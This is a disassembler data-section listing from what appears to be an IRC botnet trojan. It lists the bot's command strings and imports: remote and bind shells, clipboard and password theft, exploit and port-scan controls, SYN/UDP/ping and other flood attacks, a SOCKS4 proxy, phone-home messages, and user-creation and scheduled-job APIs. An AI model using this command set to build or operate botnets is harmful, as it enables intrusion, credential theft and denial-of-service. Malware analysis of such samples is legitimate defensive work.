unk_42BF8C db 2Dh ; - ; DATA XREF: sub_401ACD+24B6o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 4
unk_42BFB4 db 2Dh ; - ; DATA XREF: sub_401ACD+249Ao
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 10h
unk_42BFE0 db 3 ; DATA XREF: sub_401ACD+2484o
a81VrxGetClipbo db '8,1-VrX- Get Clipboard.',0
align 4
dword_42BFFC dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_401ACD+2456o
dd 2Dh
unk_42C014 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F13o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 10h
unk_42C040 db 2Dh ; - ; DATA XREF: sub_401ACD+243Fo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 4
unk_42C064 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE8o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 10h
unk_42C090 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE1o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 4
unk_42C0BC db 2Dh ; - ; DATA XREF: sub_401ACD+240Do
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 10h
unk_42C0E0 db 2Dh ; - ; DATA XREF: sub_401ACD+23BAo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_22 db '- Failed to start server thread, error: <%d>.',0
align 4
unk_42C11C db 2Dh ; - ; DATA XREF: sub_401ACD+234Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C158 db 2Dh ; - ; DATA XREF: sub_401ACD+2265o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_23 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42C194 db 2Dh ; - ; DATA XREF: sub_401ACD+21FAo
; sub_40BD91+449o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C1D0 db 2Dh ; - ; DATA XREF: sub_401ACD+20F3o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_24 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42C20C db 2Dh ; - ; DATA XREF: sub_401ACD+2084o
; sub_40BD91+DAo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 10h
unk_42C240 db 2Dh ; - ; DATA XREF: sub_401ACD+1FCFo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunni_3 db ' Already running.',0
align 10h
unk_42C260 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403A86o
db 3, 34h, 2
db 4Dh ; M
db 61h, 2 dup(53h)
db 20h
db 53h, 63h, 41h
db 6Eh ; n
db 2, 3, 2Dh
aFailedToSta_25 db ' Failed to start scan, port is invalid.',0
unk_42C298 db 2Dh ; - ; DATA XREF: sub_401ACD+1F6Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_26 db '- Failed to start scan thread, error: <%d>.',0
align 4
unk_42C2D4 db 2Dh ; - ; DATA XREF: sub_401ACD+1EFBo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 10h
aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1ED0o
; sub_401ACD+5B20o
align 4
aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1EC9o
; sub_401ACD+5B19o
align 4
dword_42C354 dd 234032Dh, 3025A56h ; DATA XREF: sub_401ACD+1D0Fo
aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0
align 10h
unk_42C390 db 2Dh ; - ; DATA XREF: sub_401ACD+1CB2o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToSta_27 db 'Failed to start search thread, error: <%d>.',0
unk_42C3CC db 2Dh ; - ; DATA XREF: sub_401ACD+1C38o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aSearchingForPa db 'Searching for password.',0
aFp db 'fp',0 ; DATA XREF: sub_401ACD+1BEFo
align 4
aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1BDEo
align 4
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+1BC8o
aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1BB1o
align 4
aAs db 'as',0 ; DATA XREF: sub_401ACD+1B9Co
align 4
aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1B87o
unk_42C44C db 3 ; DATA XREF: sub_401ACD+1B37o
a81VrxCrashingB db '8,1-VrX- Crashing bot.',0
aShitycrash db 'shitycrash',0 ; DATA XREF: sub_401ACD+1B21o
; sub_401ACD+1B71o
align 10h
aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B0Co
align 4
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1AF7o
align 4
aHttp db 'http',0 ; DATA XREF: sub_401ACD+1AE2o
align 4
aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1ACDo
align 4
aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1AB8o
align 10h
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1AA3o
align 10h
aCip db 'cip',0 ; DATA XREF: sub_401ACD+1A8Eo
aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1A79o
align 10h
aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1A64o
align 4
aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1A4Fo
align 4
aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A3Ao
align 4
aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A25o
align 4
aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A10o
align 4
aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+19FBo
unk_42C4F4 db 2Dh ; - ; DATA XREF: sub_401ACD+19BDo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
aOff db 'off',0 ; DATA XREF: sub_401ACD+19A2o
; sub_401ACD+3C81o ...
aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+198Eo
align 4
unk_42C528 db 3 ; DATA XREF: sub_401ACD+196Eo
a81VrxLoginList db '8,1-VrX- Login list complete.',0
align 4
aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1939o
; sub_40B477+46o
align 10h
aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_4033F9o
dword_42C558 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: sub_401ACD+1902o
dword_42C56C dd 6F6877h ; DATA XREF: sub_401ACD+18E5o
dword_42C570 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo
dword_42C57C dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+18D5o
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+18BCo
aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+18A7o
align 4
aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+1892o
aDll db 'dll',0 ; DATA XREF: sub_401ACD+187Do
aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+1868o
align 4
aDrv db 'drv',0 ; DATA XREF: sub_401ACD+1853o
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+183Eo
align 4
aUp db 'up',0 ; DATA XREF: sub_401ACD+1829o
align 4
aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+1814o
align 10h
aPs db 'ps',0 ; DATA XREF: sub_401ACD+17FFo
align 4
aProcs db 'procs',0 ; DATA XREF: sub_401ACD+17EAo
align 4
aKosomaky4d db 'KOSOMAKY4D',0 ; DATA XREF: sub_401ACD+17C0o
; sub_401ACD+17D5o
align 4
aSi db 'si',0 ; DATA XREF: sub_401ACD+17ABo
align 4
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+1796o
aNi db 'ni',0 ; DATA XREF: sub_401ACD+1781o
align 4
aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+176Co
aClg db 'clg',0 ; DATA XREF: sub_401ACD+1757o
aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1742o
align 10h
aLg db 'lg',0 ; DATA XREF: sub_401ACD+172Do
align 4
aLog db 'log',0 ; DATA XREF: sub_401ACD+1718o
aAl db 'al',0 ; DATA XREF: sub_401ACD+1703o
align 4
aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+16EEo
aT: ; DATA XREF: sub_401ACD+16D9o
; .packed:00438780o ...
unicode 0, <t>,0
aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16C4o
unk_42C630 db 3 ; DATA XREF: sub_401ACD+1690o
a81VrxFailedToR db '8,1-VrX- Failed to reboot system.',0
align 4
unk_42C654 db 3 ; DATA XREF: sub_401ACD+1689o
a81VrxRebooting db '8,1-VrX- Rebooting system.',0
aR3start db 'r3start',0 ; DATA XREF: sub_401ACD+1672o
aI: ; DATA XREF: sub_401ACD+165Do
; .packed:0043878Co ...
unicode 0, <i>,0
aId db 'id',0 ; DATA XREF: sub_401ACD+1648o
align 10h
aS_1: ; DATA XREF: sub_401ACD+1633o
; .packed:00438798o
unicode 0, <s>,0
aStatus db 'status',0 ; DATA XREF: sub_401ACD+161Eo
align 4
aQ: ; DATA XREF: sub_401ACD+1609o
; .packed:off_438770o ...
unicode 0, <q>,0
aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+15F4o
align 4
aDc db 'dc',0 ; DATA XREF: sub_401ACD+15DFo
align 4
aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15CAo
align 4
aR: ; DATA XREF: sub_401ACD+15B5o
; sub_401ACD+3D8Eo ...
unicode 0, <r>,0
aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15A0o
align 4
aExplist db 'explist',0 ; DATA XREF: sub_401ACD+158Bo
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+1576o
aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1561o
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co
align 4
aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1537o
aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1522o
align 10h
aStats db 'stats',0 ; DATA XREF: sub_401ACD+150Do
align 4
aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+14F8o
align 4
dword_42C714 dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo
aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+14E8o
align 4
aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14CFo
align 4
dword_42C734 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14C4o
aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14BFo
align 4
aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14A6o
align 4
dword_42C758 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+149Bo
aClone db 'Clone',0 ; DATA XREF: sub_401ACD+1496o
align 10h
aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+147Do
align 4
aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1468o
align 4
aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1453o
align 10h
aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+143Eo
align 4
aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1429o
align 4
dword_42C7A8 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+1400o
align 4
aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+13D7o
align 10h
aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13AEo
aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+1385o
align 4
aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+135Co
unk_42C7F0 db 2Dh ; - ; DATA XREF: sub_401ACD+1342o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
dword_42C824 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1307o
; sub_401ACD+13A3o
dword_42C834 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1302o
; sub_401ACD+139Eo
dword_42C844 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+12E9o
; sub_401ACD+137Ao
dword_42C854 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+12E4o
; sub_401ACD+1375o
dword_42C864 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+1289o
; sub_401ACD+13F5o
dword_42C870 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1284o
; sub_401ACD+13F0o
dword_42C87C dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo
; sub_401ACD+13CCo
dword_42C888 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1266o
; sub_401ACD+13C7o
aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1206o
align 10h
dword_42C8A0 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+11FBo
; sub_401ACD+12C8o
dword_42C8AC dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+11F6o
; sub_401ACD+12C3o
aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+11DDo
align 4
dword_42C8C4 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+11D2o
; sub_401ACD+12AAo
dword_42C8D4 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11CDo
; sub_401ACD+12A5o
aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11B4o
align 10h
dword_42C8F0 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11A9o
; sub_401ACD+1328o
dword_42C900 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11A4o
; sub_401ACD+1323o
aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+118Bo
align 4
dword_42C91C dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o
; sub_401ACD+124Ao
dword_42C928 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+117Bo
; sub_401ACD+1245o
aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1162o
dword_42C93C dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1157o
; sub_401ACD+122Co
dword_42C948 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1152o
; sub_401ACD+1227o
dword_42C954 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1139o
dword_42C960 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+112Eo
dword_42C970 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1129o
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+1110o
align 10h
dword_42C990 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o
dword_42C99C dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+1100o
aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+10E7o
dword_42C9B0 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo
aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10BEo
align 4
dword_42C9CC dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10B3o
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+1095o
align 4
dword_42C9E8 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+108Ao
aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+106Co
align 4
aS4 db 's4',0 ; DATA XREF: sub_401ACD+1057o
align 4
aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1042o
align 10h
dword_42CA10 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0
; DATA XREF: sub_401ACD+1037o
aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+1032o
; sub_401ACD+1085o ...
align 4
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1019o
align 4
aBd db 'bd',0 ; DATA XREF: sub_401ACD+1004o
align 10h
aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+FEFo
align 4
aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FDAo
align 4
aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FC5o
align 10h
aSec db 'sec',0 ; DATA XREF: sub_401ACD+FB0o
; sub_401ACD+2D26o
aSecure db 'secure',0 ; DATA XREF: sub_401ACD+F9Bo
; sub_401ACD+2D15o
align 4
aSt db 'st',0 ; DATA XREF: sub_401ACD+F86o
align 10h
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F71o
align 4
aRz db 'rz',0 ; DATA XREF: sub_401ACD+F5Co
align 10h
aRulez db 'rulez',0 ; DATA XREF: sub_401ACD+F47o
align 4
aVer db 'ver',0 ; DATA XREF: sub_401ACD+F32o
aVersion db 'version',0 ; DATA XREF: sub_401ACD+F1Do
aLo db 'lo',0 ; DATA XREF: sub_401ACD+F08o
align 4
aLogout db 'logout',0 ; DATA XREF: sub_401ACD+EF3o
align 10h
aDi3 db 'di3',0 ; DATA XREF: sub_401ACD+EC9o
; sub_401ACD+EDEo
aRn db 'rn',0 ; DATA XREF: sub_401ACD+EB4o
align 4
aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+E9Co
a63 db '63',0 ; DATA XREF: sub_401ACD+D69o
align 4
asc_42CAB4: ; DATA XREF: sub_401ACD+D41o
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D04o
align 10h
aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+CF9o
aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+CE8o
align 4
aChan db '$chan',0 ; DATA XREF: sub_401ACD+CCCo
align 4
aUser_2 db '$user',0 ; DATA XREF: sub_401ACD+CBBo
align 4
aMe db '$me',0 ; DATA XREF: sub_401ACD+CA9o
aD db '$%d',0 ; DATA XREF: sub_401ACD+C3Bo
aD_0 db '$%d-',0 ; DATA XREF: sub_401ACD+B77o
align 4
aK: ; DATA XREF: sub_401ACD+A9Fo
; sub_401ACD+3DBCo ...
unicode 0, <k>,0
aC: ; DATA XREF: sub_401ACD+A87o
; sub_401ACD+4AA4o
unicode 0, <c>,0
unk_42CAFC db 2Dh ; - ; DATA XREF: sub_401ACD+A64o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 10h
unk_42CB30 db 2Dh ; - ; DATA XREF: sub_401ACD+A53o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 10h
unk_42CB60 db 2Dh ; - ; DATA XREF: sub_401ACD+A42o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_28 db '- Failed to start chat thread, error: <%d>.',0
align 4
unk_42CB98 db 2Dh ; - ; DATA XREF: sub_401ACD+9D3o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 4
aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+93Co
align 10h
unk_42CBC0 db 2Dh ; - ; DATA XREF: sub_401ACD+91Co
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 4
unk_42CC04 db 2Dh ; - ; DATA XREF: sub_401ACD+904o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_29 db '- Failed to start transfer thread, error: <%d>.',0
align 10h
dword_42CC40 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_401ACD+8F3o
dd 0A0Dh
dword_42CC58 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8BFo
dword_42CC60 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_401ACD+8B4o
dd 0D017325h, 0Ah
dword_42CC7C dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+883o
dword_42CC88 dd 23h ; DATA XREF: sub_401ACD+7FAo
; sub_40CD43+1Bo
unk_42CC8C db 2Dh ; - ; DATA XREF: sub_401ACD+769o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 4
aS_2 db '%s',0 ; DATA XREF: sub_401ACD+6EAo
; sub_401ACD+979o ...
align 10h
aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6C3o
align 4
dword_42CCC8 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6A5o
dword_42CCD0 dd 323333h ; DATA XREF: sub_401ACD+62Fo
; sub_401ACD+AC1o ...
aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+60Do
; sub_409869+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+601o
; sub_409869+16o
unk_42CCE4 db 3 ; DATA XREF: sub_401ACD+5B0o
a81VrxUserSLo_0 db '8,1-VrX- User: %s logged out.',0
align 4
unk_42CD04 db 3 ; DATA XREF: sub_401ACD+590o
a81VrxJoinedC_0 db '8,1-VrX- Joined channel: %s.',0
align 4
a353 db '353',0 ; DATA XREF: sub_401ACD+55Fo
aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+522o
; sub_40F3AA+5C6o
align 10h
aPart db 'PART',0 ; DATA XREF: sub_401ACD+511o
; sub_401ACD+5CDo
align 4
aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4ECo
align 10h
aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3CEo
align 4
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
; sub_401ACD+5F1o
unk_42CD58 db 3 ; DATA XREF: sub_401ACD+355o
; sub_401ACD+2E79o ...
a81VrxUserSLo_1 db '8,1-VrX- User %s logged out.',0
align 4
aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o
align 10h
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do
; sub_401ACD+7A88o ...
align 4
a433 db '433',0 ; DATA XREF: sub_401ACD+262o
; sub_417B76:loc_417BDEo
a@: ; DATA XREF: sub_401ACD+23Ao
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao
a005 db '005',0 ; DATA XREF: sub_401ACD+215o
a001 db '001',0 ; DATA XREF: sub_401ACD+200o
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
; sub_401ACD+3BBo ...
align 10h
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o
align 4
aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o
; sub_417B76+50o
align 4
asc_42CDC4: ; DATA XREF: sub_401ACD+19Ao
; sub_401ACD+7B9Do
unicode 0, <!>,0
asc_42CDC8: ; DATA XREF: sub_401ACD+A8o
; sub_401ACD+E41o ...
unicode 0, < >,0
asc_42CDCC db ' :',0 ; DATA XREF: sub_401ACD+86o
; sub_401ACD:loc_4025E6o
align 10h
aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409909:loc_40A573o
align 10h
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409909+C15o
align 10h
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409909+C08o
align 10h
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409909+BFBo
align 10h
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409909+BEEo
align 10h
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409909+BE1o
align 10h
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409909:loc_40A4D5o
align 10h
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409909+B97o
align 10h
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409909+B8Fo
align 10h
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409909:loc_40A48Bo
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409909:loc_40A417o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o
align 10h
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409909+AD1o
align 10h
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409909:loc_40A3CDo
align 10h
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo
align 10h
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409909:loc_40A383o
align 4
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409909+9F9o
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo
; sub_418AF1+65o
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409909+9DFo
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409909+9D2o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409909+9C5o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409909+9B8o
align 10h
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409909+9ABo
align 10h
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409909+984o
align 4
